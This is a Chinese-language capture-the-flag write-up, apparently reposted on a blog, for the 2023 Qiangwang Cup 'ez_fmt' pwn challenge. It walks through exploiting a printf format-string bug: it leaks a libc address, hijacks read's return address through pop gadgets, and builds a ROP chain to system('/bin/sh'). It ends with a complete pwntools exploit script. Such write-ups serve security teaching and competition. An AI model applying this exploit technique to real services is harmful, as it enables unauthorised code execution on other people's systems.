2023-强网杯-【强网先锋-ez_fmt】

文章目录

  • ez_fmt libc-2.31.so
    • 检查
    • main
    • 思路
    • exp

参考链接

ez_fmt libc-2.31.so

检查

没有地址随机化
2023-强网杯-【强网先锋-ez_fmt】_第1张图片

main

2023-强网杯-【强网先锋-ez_fmt】_第2张图片
简单粗暴的printf格式化字符串漏洞

思路

泄露地址,覆盖返回地址形成ROP链
printf执行时栈上存在__libc_start_main+243的指令的地址,可以泄露地址进而得到libc基地址
关于覆盖返回地址,我们可以修改main的返回地址或者printf的返回地址
如果修改main的返回地址,但提供的允许输入的格式化字符串长度可能不够
那修改printf的返回地址,然后计算出libc基地址和system的地址,然后再执行原来的read和printf的格式化字符串漏洞,此时修改printf的返回地址为system的地址,但此时发现system的地址如果要修改所需要的字符串数可能不够
2023-强网杯-【强网先锋-ez_fmt】_第3张图片
此时相当与要把0x4012ce修改为0x7f7569415000,此时光是地址参数就能塞爆运行输入的长度了,所以修改printf的返回地址为全新的一个肯定不行,但只修改部分又没用
所以。。。。。
不如修改read的返回地址,此时由于read输入的buf的位置没变,但调用之前将要push的返回地址永远是在当前栈顶-8的位置,那么如果buf的位置在当前调用之前的栈顶的上面的,就可以实现修改read返回地址,由于此时是输入性质的,那么可以大改特改read的返回地址

main函数的下面就是libc_init_csu,我们可以利用pop指令取将栈顶的位置降低,从而使得read的返回地址在buf的范围内
由于格式化字符串中写入和输出libc_start_main的参数就占了16个字节,而剩下部分还有返回read的地址和控制pop的返回地址
而为了使得read的返回地址在buf的范围内。那么要使得pop后栈顶依然在buf的范围内,另一方面要使得pop后ret能够成功跳转回read函数,所以至少得两个pop,从libc_ini_csu选择即可
此时先跳转到pop再跳转回read,不然反过来read的返回地址不在buf的范围内
2023-强网杯-【强网先锋-ez_fmt】_第4张图片
read的指令
2023-强网杯-【强网先锋-ez_fmt】_第5张图片
此时read的地址是在pop后面的,在栈上相应位置,而修改printf的返回地址为pop的地址只需修改低位字节即可
泄露libc_start_main+243的位置此时对应19个参数,printf后可以计算得到libc基地址
2023-强网杯-【强网先锋-ez_fmt】_第6张图片
read输入此时向返回地址构造rop链即可
使用ROPgadget找到合适的pop rdi; ret 然后利用libc.search(b"/bin/sh")找到参数的地址,最后调用system即可

exp

from pwn import *
libc=ELF("./libc-2.31.so")
f=process("./ez_fmt")
context(os="linux",arch="amd64",log_level="debug")
gdb.attach(f,"b main")
f.recvuntil(b"There is a gift for you ")
stack_buf=int(f.recvuntil(b"\n",drop=True),16)
print(p64(stack_buf-8))
payload=flat(
    {
        0:"%{}c%9$hhn%19$p".format(0xd0) ,
        0x10: p64(0x0000000000401205)+p64(stack_buf-8)
    }
)
f.sendline(payload)
f.recvuntil(b"0x")
libc_start_main_243=int(f.recv(12),16)
libc_base=libc_start_main_243-243-libc.sym["__libc_start_main"]

print(hex(libc_base))
print(hex(libc.search(b"/bin/sh").__next__()))
pop_rdi_ret=p64(0x00000000004012d3)
print(len(payload))
payload=flat(
    {
        0x10:pop_rdi_ret+p64(libc_base+libc.search(b"/bin/sh\x00").__next__()),#注意search()是括号
        0x20:p64(libc_base+libc.sym["system"])
    }
) # 0x10前面的部分会自动随机填充
print(len(payload))
print(payload)
f.sendline(payload)

f.interactive()

你可能感兴趣的:(2023,强网杯,PWN,java,数据库,开发语言,CTF,PWM)